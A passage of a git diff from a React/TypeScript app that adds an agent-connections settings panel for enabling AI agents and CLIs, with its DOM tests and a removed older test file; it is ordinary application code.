terminalLaunchValue = { installedClis: { claude: true, codex: false } };+ localStorage.setItem(STORAGE_KEY, JSON.stringify({ 'terminal:codex': true }));+ await reload();+ renderSection();+ await expandTerminalFold();++ const toggle = await screen.findByTestId('configure-agents-terminal-codex');+ expect(toggle.getAttribute('data-disabled')).toBeNull();++ fireEvent.click(toggle);+ await waitFor(() => expect(overrides()['terminal:codex']).toBe(false));+ });++ test('a probe that has not answered leaves the switch alone', async () => {+ terminalLaunchValue = { installedClis: { claude: true } };+ await reload();+ renderSection();+ await expandTerminalFold();++ const toggle = await screen.findByTestId('configure-agents-terminal-codex');+ expect(toggle.getAttribute('data-disabled')).toBeNull();+ });++ test('a present CLI is never locked', async () => {+ terminalLaunchValue = { installedClis: { claude: true, codex: true } };+ await reload();+ renderSection();++ const toggle = await screen.findByTestId('configure-agents-terminal-codex');+ expect(toggle.getAttribute('data-disabled')).toBeNull();+ });+});++describe('a host that cannot manage connections', () => {+ test('says so once and offers no row actions', async () => {+ renderSection(async () => ({+ ok: false,+ unavailable: true,+ error: 'Managing AI tool connections is unavailable in this build.',+ report: EMPTY_REPORT,+ snapshot: snapshotWith([]),+ }));++ await screen.findByTestId('configure-agents-read-only');+ expect(+ screen.getByText('Managing agent connections is unavailable in this build.'),+ ).toBeTruthy();+ expect(screen.queryByText("Couldn't check which tools are connected.")).toBeNull();+ await screen.findByText('External apps');+ const section = screen.getByTestId('settings-configure-agents');+ for (const label of [/^Add MCP & skill/, /^Manage/, /^Remove/]) {+ expect(within(section).queryByRole('button', { name: label })).toBeNull();+ }+ });++ test('a host that can manage connections shows no such notice', async () => {+ renderSection(async () => result(snapshotWith([])));+ await screen.findByText('External apps');+ expect(screen.queryByTestId('configure-agents-read-only')).toBeNull();+ });+});++describe('Install links', () => {+ test('a terminal row that is not installed links to the vendor page from the registry', async () => {+ renderSection(async () => result(snapshotWith([])));+ const link = await screen.findByRole('link', { name: 'Install Hermes CLI' });+ expect(link.getAttribute('href')).toBe(AGENT_REGISTRY.hermes.external?.installUrl);+ });+});diff --git a/packages/app/src/components/settings/AgentConnectionsSection.tsx b/packages/app/src/components/settings/AgentConnectionsSection.tsxnew file mode 100644index 000000000..491bf108e--- /dev/null+++ b/packages/app/src/components/settings/AgentConnectionsSection.tsx@@ -0,0 +1,915 @@+import {+ AGENT_REGISTRY,+ type AgentId,+ type AgentMode,+ type ApplyIntent,+ agentIdForHandoffTarget,+ agentIdForTerminalCli,+ CONNECTION_ROW_AGENT_IDS,+ type HostSnapshot,+ TERMINAL_CLI_IDS,+ TERMINAL_CLIS,+ type TerminalCli,+} from '@inkeep/open-knowledge-core';+import { useLingui } from '@lingui/react/macro';+import { useQuery } from '@tanstack/react-query';+import { ArrowUpRight, Check, Search, TriangleAlert, WifiOff } from 'lucide-react';+import { type ReactNode, useEffect, useEffectEvent, useRef, useState } from 'react';+import { RegisteredAgentIcon } from '@/components/acp/RegisteredAgentIcon';+import { TargetIcon } from '@/components/handoff/OpenInAgentMenuItem';+import { useTerminalLaunch } from '@/components/handoff/TerminalLaunchContext';+import { cliIconTargetId } from '@/components/handoff/terminal-cli-display';+import { useInstalledAgents } from '@/components/handoff/useInstalledAgents';+import { Button } from '@/components/ui/button';+import { Input } from '@/components/ui/input';+import { Spinner } from '@/components/ui/spinner';+import { Switch } from '@/components/ui/switch';+import {+ isDesktopTargetEnabled,+ isInAppAgentEnabled,+ isTerminalCliRowEnabled,+} from '@/lib/acp/agent-visibility';+import {+ type CatalogAgent,+ fetchAgentCatalog,+ harnessPresenceRank,+ isHarnessDetected,+} from '@/lib/acp/catalog';+import {+ desktopEnabledKey,+ inAppEnabledKey,+ setAgentEnabled,+ terminalEnabledKey,+ useEnabledOverrides,+} from '@/lib/acp/enabled-agents';+import {+ reassignDefaultIfDisabled,+ registerAgent,+ useRegisteredAgents,+} from '@/lib/acp/registered-agents';+import {+ type ApplyAgentConnectionsResult,+ applyAgentConnectionIntents,+} from '@/lib/agent-connections';+import { followupHintText } from '@/lib/agent-followup-hint';+import { VISIBLE_TARGETS } from '@/lib/handoff/targets';+import {+ type ApplyConnections,+ allAvailableCellsChecked,+ ConfigureConnectionDialog,+ ConnectionAgentIcon,+ connectionLabel,+ connectionsFromSnapshot,+ hasConfigurableCell,+ installedCount,+ intentsForParts,+ partsForConnection,+ RemoveConnectionDialog,+ removalIntents,+} from './AgentConnectionDialogs';+import {+ deriveRowConnectionStatus,+ deriveRowFollowup,+ followupRowFamily,+ type RowConnectionStatus,+ type RowPresence,+ resolvePresence,+} from './agent-connection-status';+import { type RowAction, rowActionFor } from './agent-row-action';+import { SettingsSectionHeader } from './SettingsSectionHeader';++function AgentRow({+ icon,+ name,+ hint,+ status,+ action,+ checked,+ disabled,+ ariaLabel,+ testId,+ rowTestId,+ statusId,+ onToggle,+}: {+ icon: ReactNode;+ name: ReactNode;+ hint?: ReactNode;+ status?: ReactNode;+ action?: ReactNode;+ checked?: boolean;+ disabled?: boolean;+ ariaLabel: string;+ testId: string;+ rowTestId: string;+ statusId?: string;+ onToggle?: (next: boolean) => void;+}): ReactNode {+ const hintId = hint ? `${rowTestId}-hint` : undefined;+ return (+ <div className="flex items-center justify-between gap-3 px-3 py-2.5" data-testid={rowTestId}>+ <div className="flex min-w-0 items-start gap-2.5">+ {}+ <span className="flex h-5 shrink-0 items-center">{icon}</span>+ <div className="flex min-w-0 flex-col">+ <span className="truncate text-sm leading-5">{name}</span>+ {hint ? (+ <span id={hintId} className="truncate text-muted-foreground text-1sm">+ {hint}+ </span>+ ) : null}+ {status ? <span id={statusId}>{status}</span> : null}+ </div>+ </div>+ <div className="flex shrink-0 items-center gap-2">+ {action}+ {onToggle === undefined ? null : (+ <Switch+ checked={checked ?? false}+ disabled={disabled}+ onCheckedChange={onToggle}+ aria-label={ariaLabel}+ aria-describedby={[hintId, statusId].filter(Boolean).join(' ') || undefined}+ data-testid={testId}+ />+ )}+ </div>+ </div>+ );+}++function isToggleLocked(presence: RowPresence, enabled: boolean): boolean {+ return presence === 'absent' && !enabled;+}++function AgentGroup({+ label,+ labelIcon,+ subtitle,+ children,+ labelId,+}: {+ label: string;+ labelIcon?: ReactNode;+ subtitle?: ReactNode;+ labelId: string;+ children: ReactNode;+}): ReactNode {+ return (+ <section aria-labelledby={labelId}>+ <div className="mb-2">+ <h4+ id={labelId}+ className="flex items-center gap-1.5 font-mono text-muted-foreground text-xs uppercase tracking-wide"+ >+ {label}+ {labelIcon}+ </h4>+ {subtitle ? <p className="mt-1 text-muted-foreground text-xs">{subtitle}</p> : null}+ </div>+ <div className="divide-y overflow-hidden rounded-md border">{children}</div>+ </section>+ );+}++function ConnectionStatusLine({+ status,+ enabled,+}: {+ status: RowConnectionStatus;+ enabled: boolean;+}): ReactNode {+ const { t } = useLingui();+ if (status === 'connected') {+ return (+ <span className="mt-0.5 inline-flex items-center gap-1 text-muted-foreground text-xs">+ <Check aria-hidden className="size-3.5" />+ {t`Connected`}+ </span>+ );+ }+ if (status === 'not-connected' && enabled) {+ return (+ <span className="mt-0.5 inline-flex items-center gap-1 text-amber-700 text-xs dark:text-amber-400">+ <TriangleAlert aria-hidden className="size-3.5" />+ {t`Not connected`}+ </span>+ );+ }+ return null;+}++function RowActionButton({+ action,+ rowLabel,+ describedById,+ onConfigure,+ onRemove,+}: {+ action: RowAction;+ describedById?: string;+ rowLabel: string;+ onConfigure: () => void;+ onRemove: () => void;+}): ReactNode {+ const { t } = useLingui();+ switch (action.kind) {+ case 'none':+ return null;+ case 'install':+ return (+ <Button+ variant="link"+ size="sm"+ className="shrink-0 text-muted-foreground hover:text-foreground"+ asChild+ >+ <a+ href={action.url}+ target="_blank"+ rel="noreferrer"+ aria-label={t`Install ${rowLabel}`}+ aria-describedby={describedById}+ >+ {t`Install`}+ <ArrowUpRight aria-hidden />+ </a>+ </Button>+ );+ case 'setup-doc':+ return (+ <Button+ variant="link"+ size="sm"+ className="shrink-0 text-muted-foreground hover:text-foreground"+ asChild+ >+ <a+ href={`https://openknowledge.ai/docs/integrations/${action.slug}`}+ target="_blank"+ rel="noreferrer"+ aria-label={t`How to set up ${rowLabel}`}+ aria-describedby={describedById}+ >+ {t`How to set up`}+ <ArrowUpRight aria-hidden />+ </a>+ </Button>+ );+ case 'connect':+ return (+ <Button+ size="sm"+ className="shrink-0 font-mono uppercase"+ onClick={onConfigure}+ aria-label={t`Add MCP & skill for ${rowLabel}`}+ aria-describedby={describedById}+ >+ {t`Add MCP & skill`}+ </Button>+ );+ case 'manage':+ return (+ <Button+ variant="outline"+ size="sm"+ className="shrink-0 font-mono uppercase"+ onClick={onConfigure}+ aria-label={t`Manage ${rowLabel}`}+ aria-describedby={describedById}+ >+ {t`Manage`}+ </Button>+ );+ case 'remove':+ return (+ <Button+ variant="outline"+ size="sm"+ className="shrink-0 font-mono uppercase"+ onClick={onRemove}+ aria-label={t`Remove ${rowLabel}`}+ aria-describedby={describedById}+ >+ {t`Remove`}+ </Button>+ );+ }+}++function registryInstallUrl(agentId: AgentId | undefined): string | null {+ if (agentId === undefined) return null;+ return AGENT_REGISTRY[agentId].external?.installUrl ?? null;+}++function readProducedFacts(snapshot: HostSnapshot | null): boolean {+ return (+ snapshot !== null &&+ Object.values(snapshot.probes.satisfiers).some(+ (probe) => probe !== undefined && probe.state !== 'unprobed',+ )+ );+}++export function AgentConnectionsSection({+ applyConnections = applyAgentConnectionIntents,+}: {+ applyConnections?: ApplyConnections;+} = {}): ReactNode {+ const { t } = useLingui();+ const showMoreLabel = (hiddenCount: number): string => t`Show ${hiddenCount} more`;+ const overrides = useEnabledOverrides();+ const registered = useRegisteredAgents();+ const { states, refresh } = useInstalledAgents();+ const terminalLaunch = useTerminalLaunch();+ const [query, setQuery] = useState('');+ const [showInAppOverflow, setShowInAppOverflow] = useState(false);+ const [showTerminalOverflow, setShowTerminalOverflow] = useState(false);+ const [snapshot, setSnapshot] = useState<HostSnapshot | null>(null);+ const [readFailed, setReadFailed] = useState(false);+ const [readOnly, setReadOnly] = useState(false);+ const [reloadInstallState, setReloadInstallState] = useState(0);+ const [configureId, setConfigureId] = useState<AgentId | null>(null);+ const [removeId, setRemoveId] = useState<AgentId | null>(null);+ const switchRevertKey = useRef<string | null>(null);++ const catalog = useQuery({+ queryKey: ['acp-catalog'],+ queryFn: ({ signal }) => fetchAgentCatalog(signal),+ staleTime: 5 * 60 * 1000,+ });++ const refreshOnMount = useEffectEvent(() => {+ void refresh();+ });+ useEffect(() => {+ refreshOnMount();+ }, []);++ // biome-ignore lint/correctness/useExhaustiveDependencies: the retry counter re-fires the same read+ useEffect(() => {+ let active = true;+ void applyConnections([])+ .then((result) => {+ if (!active) return;+ if (result.snapshot !== null) setSnapshot(result.snapshot);+ setReadFailed(!readProducedFacts(result.snapshot));+ setReadOnly(result.unavailable === true);+ })+ .catch(() => {+ if (active) setReadFailed(true);+ });+ return () => {+ active = false;+ };+ }, [applyConnections, reloadInstallState]);++ const catalogAgents = catalog.data?.agents;+ const registeredKeys = new Set(registered.map((a) => `${a.source}:${a.id}`));+ const installedClis = terminalLaunch?.installedClis ?? {};++ const connections = snapshot === null ? [] : connectionsFromSnapshot(snapshot);+ const configureConnection = connections.find((c) => c.id === configureId) ?? null;+ const removeConnection = connections.find((c) => c.id === removeId) ?? null;++ async function applyAndRefresh(+ intents: readonly ApplyIntent[],+ ): Promise<ApplyAgentConnectionsResult> {+ const result = await applyConnections(intents);+ if (result.snapshot !== null) setSnapshot(result.snapshot);+ setReadFailed(!readProducedFacts(result.snapshot));+ if (result.unavailable === true) setReadOnly(true);+ return result;+ }++ function rowPresence(agentId: AgentId | undefined, detected: boolean | null): RowPresence {+ if (detected === false) return 'absent';+ if (detected === true) return 'present';+ return agentId === undefined ? 'unknown' : resolvePresence(agentId, snapshot, detected);+ }++ const terminalRowAgentIds = new Set<AgentId>(+ TERMINAL_CLI_IDS.map(agentIdForTerminalCli).filter((id): id is AgentId => id !== undefined),+ );+ const externalRowAgentIds = new Set<AgentId>(+ VISIBLE_TARGETS.map((target) => agentIdForHandoffTarget(target.id)).filter(+ (id): id is AgentId => id !== undefined,+ ),+ );+ const pairedAgentIds = new Set<AgentId>(+ [...terminalRowAgentIds].filter((id) => externalRowAgentIds.has(id)),+ );++ function connectionSlots(+ agentId: AgentId | undefined,+ rowLabel: string,+ rowTestId: string,+ mode: AgentMode,+ enabled: boolean,+ detected: boolean | null,+ presence: RowPresence,+ installUrl?: string | null,+ ): { status: ReactNode; action: ReactNode; statusId?: string } {+ const connection =+ agentId === undefined ? undefined : connections.find((c) => c.id === agentId);+ if (+ connection === undefined ||+ agentId === undefined ||+ snapshot === null ||+ !readProducedFacts(snapshot)+ ) {+ return { status: undefined, action: undefined, statusId: undefined };+ }+ const action = rowActionFor({+ enabled,+ installedCount: installedCount(partsForConnection(connection)),+ presence,+ configurable: hasConfigurableCell(connection),+ setupDocSlug: connection.row.setupDocSlug,+ installUrl:+ installUrl === undefined+ ? (AGENT_REGISTRY[agentId].external?.installUrl ?? null)+ : installUrl,+ });+ const rowStatus = deriveRowConnectionStatus({ agentId, mode, snapshot, detected });+ const speaks = rowStatus === 'connected' || (rowStatus === 'not-connected' && enabled);+ const statusId = speaks ? `${rowTestId}-status` : undefined;+ const actionable = !readOnly || action.kind === 'install' || action.kind === 'setup-doc';+ const projectMcp = connection.cells.projectMcp;+ const ownsFollowup =+ projectMcp === undefined ||+ !pairedAgentIds.has(agentId) ||+ followupRowFamily(projectMcp.consentClass) === mode;+ const followup = ownsFollowup+ ? followupHintText(deriveRowFollowup({ agentId, mode, snapshot, detected, projectMcp }))+ : null;+ return {+ status: speaks ? (+ <>+ <ConnectionStatusLine status={rowStatus} enabled={enabled} />+ {followup === null ? null : (+ <span+ role="status"+ className="mt-0.5 block text-amber-700 text-xs dark:text-amber-400"+ data-testid={`${rowTestId}-followup`}+ >+ {followup}+ </span>+ )}+ </>+ ) : undefined,+ action: actionable ? (+ <RowActionButton+ action={action}+ rowLabel={rowLabel}+ describedById={statusId}+ onConfigure={() => setConfigureId(agentId)}+ onRemove={() => setRemoveId(agentId)}+ />+ ) : undefined,+ statusId,+ };+ }++ function toggleConnectable(+ key: string,+ agentId: AgentId | undefined,+ mode: AgentMode,+ next: boolean,+ detected?: boolean | null,+ ): void {+ setAgentEnabled(key, next);+ if (!next || readOnly || agentId === undefined || snapshot === null) return;+ const connection = connections.find((c) => c.id === agentId);+ if (connection === undefined || !hasConfigurableCell(connection)) return;+ if (deriveRowConnectionStatus({ agentId, mode, snapshot, detected }) !== 'not-connected') {+ return;+ }+ switchRevertKey.current = key;+ setConfigureId(agentId);+ }++ const q = query.trim().toLowerCase();+ const matches = (text: string): boolean => q === '' || text.toLowerCase().includes(q);++ const inAppAgents = (catalogAgents ?? []).filter((agent) => matches(agent.name));+ const cliPresent = (cli: TerminalCli): boolean => installedClis[cli] !== false;+ const terminalClis = TERMINAL_CLI_IDS.filter((cli) => {+ const { displayName } = TERMINAL_CLIS[cli];+ return matches(displayName) || matches(t`${displayName} CLI`) || matches(cli);+ }).sort(+ (a, b) =>+ Number(cliPresent(b)) - Number(cliPresent(a)) ||+ TERMINAL_CLIS[a].displayName.localeCompare(TERMINAL_CLIS[b].displayName),+ );+ const desktopTargets = VISIBLE_TARGETS.filter((target) => {+ const { displayName } = target;+ return matches(t`${displayName} Desktop`) || matches(target.id);+ }).sort(+ (a, b) => Number(states[a.id]?.installed === false) - Number(states[b.id]?.installed === false),+ );++ const canLaunchTerminal = terminalLaunch !== null;++ const rowedElsewhere = new Set<AgentId>([...terminalRowAgentIds, ...externalRowAgentIds]);+ const unlaunchableIds = CONNECTION_ROW_AGENT_IDS.filter(+ (id) => !rowedElsewhere.has(id) && matches(connectionLabel(id)),+ );++ const searching = q !== '';+ const catalogReady = !catalog.isLoading && !catalog.isError;+ const noMatches =+ searching &&+ catalogReady &&+ inAppAgents.length === 0 &&+ terminalClis.length === 0 &&+ desktopTargets.length === 0 &&+ unlaunchableIds.length === 0;+ const showInApp = !searching || catalog.isLoading || catalog.isError || inAppAgents.length > 0;+ const showTerminal = !searching || terminalClis.length > 0;+ const showDesktop = !searching || desktopTargets.length > 0 || unlaunchableIds.length > 0;++ const inAppChecked = (agent: CatalogAgent): boolean => {+ const isRegistered = registeredKeys.has(`${agent.source}:${agent.id}`);+ const isDetected = isHarnessDetected(agent);+ return isInAppAgentEnabled(+ overrides,+ agent.source,+ agent.id,+ isRegistered || isDetected,+ agent.supported,+ );+ };+ const isPrimaryAgent = (a: CatalogAgent): boolean =>+ (a.harness !== undefined && harnessPresenceRank(a) === 0) || inAppChecked(a);+ const inAppPrimary = inAppAgents.filter(isPrimaryAgent);+ const inAppShown = [...(searching || showInAppOverflow ? inAppAgents : inAppPrimary)].sort(+ (a, b) => Number(isPrimaryAgent(b)) - Number(isPrimaryAgent(a)) || a.name.localeCompare(b.name),+ );+ const inAppHiddenCount = searching ? 0 : inAppAgents.length - inAppPrimary.length;++ const terminalPrimary = terminalClis.filter(cliPresent);+ const terminalFoldable =+ terminalPrimary.length > 0 && terminalPrimary.length < terminalClis.length;+ const terminalShown =+ !terminalFoldable || searching || showTerminalOverflow ? terminalClis : terminalPrimary;+ const terminalHiddenCount =+ terminalFoldable && !searching ? terminalClis.length - terminalPrimary.length : 0;++ const inAppHasDetected = !catalogReady || inAppAgents.some(isHarnessDetected);+ const terminalHasPresent = canLaunchTerminal && terminalClis.some(cliPresent);+ const desktopHasPresent = desktopTargets.some((tg) => states[tg.id]?.installed === true);++ const inAppGroup = showInApp ? (+ <AgentGroup key="in-app" label={t`In app`} labelId="settings-configure-agents-in-app">+ {catalog.isLoading ? (+ <div className="flex items-center justify-center gap-2 px-3 py-6 text-muted-foreground text-sm">+ <Spinner className="size-4" aria-hidden="true" />+ {t`Loading agents…`}+ </div>+ ) : catalog.isError ? (+ <div className="flex flex-col items-center gap-2 px-3 py-6 text-center text-muted-foreground text-sm">+ <WifiOff className="size-5" aria-hidden="true" />+ <span>{t`Couldn't reach the agent registry.`}</span>+ <Button type="button" variant="outline" size="sm" onClick={() => void catalog.refetch()}>+ {t`Retry`}+ </Button>+ </div>+ ) : (catalogAgents?.length ?? 0) === 0 ? (+ <p className="px-3 py-6 text-center text-muted-foreground text-sm">+ {t`No agents available.`}+ </p>+ ) : (+ <>+ {inAppShown.map((agent: CatalogAgent) => {+ const checked = inAppChecked(agent);+ const hint = !agent.supported ? t`Not available on this platform` : agent.description;+ return (+ <AgentRow+ key={`${agent.source}:${agent.id}`}+ icon={+ <RegisteredAgentIcon+ agentId={agent.id}+ iconUrl={agent.iconUrl}+ className="size-4"+ />+ }+ name={agent.name}+ hint={hint}+ checked={checked}+ disabled={!agent.supported}+ ariaLabel={t`Enable ${agent.name}`}+ testId={`configure-agents-in-app-${agent.source}:${agent.id}`}+ rowTestId={`configure-agents-in-app-row-${agent.source}:${agent.id}`}+ onToggle={(next) => {+ if (next) {+ registerAgent(+ {+ source: agent.source,+ id: agent.id,+ name: agent.name,+ supported: agent.supported,+ featured: agent.featured,+ ...(agent.iconUrl !== undefined ? { iconUrl: agent.iconUrl } : {}),+ },+ { makeDefault: false },+ );+ setAgentEnabled(inAppEnabledKey(agent.source, agent.id), true);+ } else {+ setAgentEnabled(inAppEnabledKey(agent.source, agent.id), false);+ reassignDefaultIfDisabled(`${agent.source}:${agent.id}`, (a) =>+ isInAppAgentEnabled(overrides, a.source, a.id, true, a.supported),+ );+ }+ }}+ />+ );+ })}+ {inAppHiddenCount > 0 ? (+ <Button+ type="button"+ variant="ghost"+ onClick={() => setShowInAppOverflow((v) => !v)}+ className="w-full justify-center rounded-none font-normal text-1sm text-muted-foreground"+ data-testid="configure-agents-in-app-show-more"+ >+ {showInAppOverflow ? t`Show less` : showMoreLabel(inAppHiddenCount)}+ </Button>+ ) : null}+ </>+ )}+ </AgentGroup>+ ) : null;++ const terminalGroup = showTerminal ? (+ <AgentGroup key="terminal" label={t`Terminal`} labelId="settings-configure-agents-terminal">+ {terminalShown.map((cli: TerminalCli) => {+ const { displayName } = TERMINAL_CLIS[cli];+ const detected = installedClis[cli] ?? null;+ const presence = rowPresence(agentIdForTerminalCli(cli), detected);+ const enabled = isTerminalCliRowEnabled(overrides, cli, presence === 'absent');+ const rowTestId = `configure-agents-terminal-row-${cli}`;+ const { status, action, statusId } = connectionSlots(+ agentIdForTerminalCli(cli),+ t`${displayName} CLI`,+ rowTestId,+ 'terminal',+ enabled,+ detected,+ presence,+ registryInstallUrl(agentIdForTerminalCli(cli)) ?? TERMINAL_CLIS[cli].docsUrl,+ );+ return (+ <AgentRow+ key={cli}+ icon={<TargetIcon id={cliIconTargetId(cli)} className="size-4" aria-hidden="true" />}+ name={t`${displayName} CLI`}+ hint={presence === 'absent' ? t`Not installed` : undefined}+ status={status}+ action={action}+ checked={enabled}+ disabled={isToggleLocked(presence, enabled)}+ ariaLabel={t`Enable ${displayName} CLI`}+ testId={`configure-agents-terminal-${cli}`}+ rowTestId={rowTestId}+ statusId={statusId}+ onToggle={+ canLaunchTerminal+ ? (next) =>+ toggleConnectable(+ terminalEnabledKey(cli),+ agentIdForTerminalCli(cli),+ 'terminal',+ next,+ installedClis[cli] ?? null,+ )+ : undefined+ }+ />+ );+ })}+ {terminalHiddenCount > 0 ? (+ <Button+ type="button"+ variant="ghost"+ onClick={() => setShowTerminalOverflow((v) => !v)}+ className="w-full justify-center rounded-none font-normal text-1sm text-muted-foreground"+ data-testid="configure-agents-terminal-show-more"+ >+ {showTerminalOverflow ? t`Show less` : showMoreLabel(terminalHiddenCount)}+ </Button>+ ) : null}+ </AgentGroup>+ ) : null;++ const desktopGroup = showDesktop ? (+ <AgentGroup+ key="desktop"+ label={t`External apps`}+ labelId="settings-configure-agents-desktop"+ labelIcon={<ArrowUpRight aria-hidden="true" className="size-3" />}+ >+ {desktopTargets.map((target) => {+ const installed = states[target.id]?.installed ?? null;+ const { displayName } = target;+ const enabled = isDesktopTargetEnabled(overrides, target.id, installed);+ const presence = rowPresence(agentIdForHandoffTarget(target.id), installed);+ const rowTestId = `configure-agents-desktop-row-${target.id}`;+ const { status, action, statusId } = connectionSlots(+ agentIdForHandoffTarget(target.id),+ t`${displayName} Desktop`,+ rowTestId,+ 'external',+ enabled,+ installed,+ presence,+ );+ return (+ <AgentRow+ key={target.id}+ icon={<TargetIcon id={target.id} className="size-4" aria-hidden="true" />}+ name={t`${displayName} Desktop`}+ hint={presence === 'absent' ? t`Not installed` : undefined}+ status={status}+ action={action}+ checked={enabled}+ disabled={isToggleLocked(presence, enabled)}+ ariaLabel={t`Enable ${displayName} Desktop`}+ testId={`configure-agents-desktop-${target.id}`}+ rowTestId={rowTestId}+ statusId={statusId}+ onToggle={(next) =>+ toggleConnectable(+ desktopEnabledKey(target.id),+ agentIdForHandoffTarget(target.id),+ 'external',+ next,+ installed,+ )+ }+ />+ );+ })}+ {unlaunchableIds.map((agentId) => {+ const connection = connections.find((c) => c.id === agentId) ?? null;+ const detected = connection?.row.detected ?? null;+ const label = connectionLabel(agentId);+ const rowTestId = `agent-connection-${agentId}`;+ const slots = connectionSlots(+ agentId,+ label,+ rowTestId,+ 'external',+ connection === null || !allAvailableCellsChecked(connection),+ detected,+ rowPresence(agentId, detected),+ );+ return (+ <AgentRow+ key={agentId}+ icon={+ <ConnectionAgentIcon agentId={agentId} className="size-4 text-muted-foreground" />+ }+ name={label}+ hint={+ rowPresence(agentId, detected) === 'absent'+ ? t`Not detected on this machine`+ : undefined+ }+ status={slots.status}+ action={slots.action}+ ariaLabel={label}+ testId={`configure-agents-unlaunchable-${agentId}`}+ rowTestId={rowTestId}+ statusId={slots.statusId}+ />+ );+ })}+ </AgentGroup>+ ) : null;++ const groups = [+ { node: inAppGroup, hasPresent: inAppHasDetected },+ { node: terminalGroup, hasPresent: terminalHasPresent },+ { node: desktopGroup, hasPresent: desktopHasPresent },+ ]+ .sort((a, b) => Number(b.hasPresent) - Number(a.hasPresent))+ .map((g) => g.node);++ const titleId = 'settings-configure-agents-title';++ return (+ <section+ aria-labelledby={titleId}+ className="space-y-6"+ data-field="section:agent-connections"+ data-testid="settings-configure-agents"+ >+ <SettingsSectionHeader titleId={titleId} title={t`Agent connections`}>+ {t`Choose which agents appear in agent menus across the app, and set them up to read and update your documents.`}+ </SettingsSectionHeader>++ <div className="relative">+ <Search+ className="-translate-y-1/2 absolute top-1/2 start-2.5 size-4 text-muted-foreground"+ aria-hidden="true"+ />+ <Input+ value={query}+ onChange={(event) => setQuery(event.target.value)}+ placeholder={t`Search agents`}+ aria-label={t`Search agents`}+ className="ps-8"+ data-testid="configure-agents-search"+ />+ </div>++ {readOnly ? (+ <div+ role="status"+ className="flex items-center gap-2 rounded-md border px-3 py-2.5 text-muted-foreground text-sm"+ data-testid="configure-agents-read-only"+ >+ <TriangleAlert aria-hidden className="size-4 shrink-0" />+ <span>{t`Managing agent connections is unavailable in this build.`}</span>+ </div>+ ) : null}++ {readFailed ? (+ <div className="flex items-center justify-between gap-3 rounded-md border px-3 py-2.5 text-muted-foreground text-sm">+ <span className="flex min-w-0 items-center gap-2">+ <WifiOff aria-hidden className="size-4 shrink-0" />+ <span role="status">{t`Couldn't check which tools are connected.`}</span>+ </span>+ <Button+ type="button"+ variant="outline"+ size="sm"+ className="shrink-0"+ onClick={() => setReloadInstallState((value) => value + 1)}+ >+ {t`Retry`}+ </Button>+ </div>+ ) : null}++ {noMatches ? (+ <p+ className="py-6 text-center text-muted-foreground text-sm"+ data-testid="configure-agents-no-results"+ >+ {t`No agents match your search.`}+ </p>+ ) : null}++ {groups}++ <ConfigureConnectionDialog+ key={`configure:${configureId ?? 'closed'}`}+ connection={configureConnection}+ paired={configureId !== null && pairedAgentIds.has(configureId)}+ open={configureConnection !== null}+ onOpenChange={(open) => {+ if (open) return;+ if (switchRevertKey.current !== null) {+ setAgentEnabled(switchRevertKey.current, false);+ switchRevertKey.current = null;+ }+ setConfigureId(null);+ }}+ onSave={(parts, alsoRemove) =>+ configureConnection === null+ ? Promise.resolve({+ ok: false,+ report: { actions: [], conflicts: [], withheld: [] },+ snapshot: null,+ })+ : applyAndRefresh(intentsForParts(configureConnection, parts, alsoRemove)).then(+ (result) => {+ if (result.ok) switchRevertKey.current = null;+ return result;+ },+ )+ }+ />+ <RemoveConnectionDialog+ key={`remove:${removeId ?? 'closed'}`}+ connection={removeConnection}+ paired={removeId !== null && pairedAgentIds.has(removeId)}+ open={removeConnection !== null}+ onOpenChange={(open) => {+ if (!open) setRemoveId(null);+ }}+ onRemove={(alsoRemove = []) =>+ removeConnection === null+ ? Promise.resolve({+ ok: false,+ report: { actions: [], conflicts: [], withheld: [] },+ snapshot: null,+ })+ : applyAndRefresh(removalIntents(removeConnection, alsoRemove))+ }+ />+ </section>+ );+}diff --git a/packages/app/src/components/settings/AiToolsSection.dom.test.tsx b/packages/app/src/components/settings/AiToolsSection.dom.test.tsxdeleted file mode 100644index 600d5545d..000000000--- a/packages/app/src/components/settings/AiToolsSection.dom.test.tsx+++ /dev/null@@ -1,334 +0,0 @@-import * as actualLinguiMacro from '@lingui/react/macro';-import { cleanup, render, screen, waitFor } from '@testing-library/react';-import userEvent from '@testing-library/user-event';-import type { ReactNode } from 'react';-import { afterEach, describe, expect, test, vi } from 'vitest';-import type {- OkIntegrationsSetRequest,- OkIntegrationsSetResult,- OkIntegrationsStatus,-} from '@/lib/desktop-bridge-types';-import { renderLinguiTemplate } from '@/test-utils/lingui-mock';--vi.doMock('@lingui/react/macro', () => ({- ...actualLinguiMacro,- Trans: ({ children }: { children: ReactNode }) => <>{children}</>,- useLingui: () => ({ t: renderLinguiTemplate }),-}));--const toastError = vi.fn(() => {});-vi.doMock('sonner', () => ({- toast: { error: toastError, info: vi.fn(() => {}), success: vi.fn(() => {}) },-}));--const markSpy = vi.fn();-vi.doMock('@/lib/perf', async () => {- const actual = await vi.importActual<typeof import('@/lib/perf')>('@/lib/perf');- return { ...actual, mark: markSpy };-});--const { AiToolsSection } = await import('./AiToolsSection');-const { TooltipProvider } = await import('@/components/ui/tooltip');--function renderSection() {- return render(- <TooltipProvider>- <AiToolsSection />- </TooltipProvider>,- );-}--const baseStatus: OkIntegrationsStatus = {- available: true,- editors: [- {- id: 'claude',- label: 'Claude',- detected: true,- state: 'installed',- configPath: '~/.claude.json',- entryLocator: 'mcpServers.open-knowledge',- },- {- id: 'cursor',- label: 'Cursor',- detected: false,- state: 'not-installed',- configPath: '~/.cursor/mcp.json',- entryLocator: 'mcpServers.open-knowledge',- },- {- id: 'codex',- label: 'Codex',- detected: true,- state: 'foreign',- configPath: '~/.codex/config.toml',- entryLocator: '[mcp_servers.open-knowledge]',- },- {- id: 'opencode',- label: 'OpenCode',- detected: false,- state: 'unmanageable',- configPath: null,- entryLocator: 'mcp.open-knowledge',- },- ],- path: { shellDetected: true, rcFilesToTouch: ['~/.zshrc'], installed: false },- skills: [- {- id: 'discovery',- name: 'open-knowledge-discovery',- description: 'Helps your agent recognize OpenKnowledge projects.',- installed: true,- paths: [- '~/.agents/skills/open-knowledge-discovery',- '~/.claude/skills/open-knowledge-discovery',- ],- size: { alwaysOn: 140, onTrigger: 1495, onDemand: 0 },- sourceDir: '/bundles/open-knowledge-discovery',- resolvedHosts: [{ editor: 'claude', skillsRoot: '.claude/skills', custom: false }],- },- {- id: 'write-skill',- name: 'open-knowledge-write-skill',- description: 'Adds a guided workflow for authoring new Agent Skills.',- installed: false,- paths: ['~/.agents/skills/open-knowledge-write-skill'],- size: { alwaysOn: 156, onTrigger: 3218, onDemand: 916 },- sourceDir: '/bundles/open-knowledge-write-skill',- resolvedHosts: [{ editor: 'claude', skillsRoot: 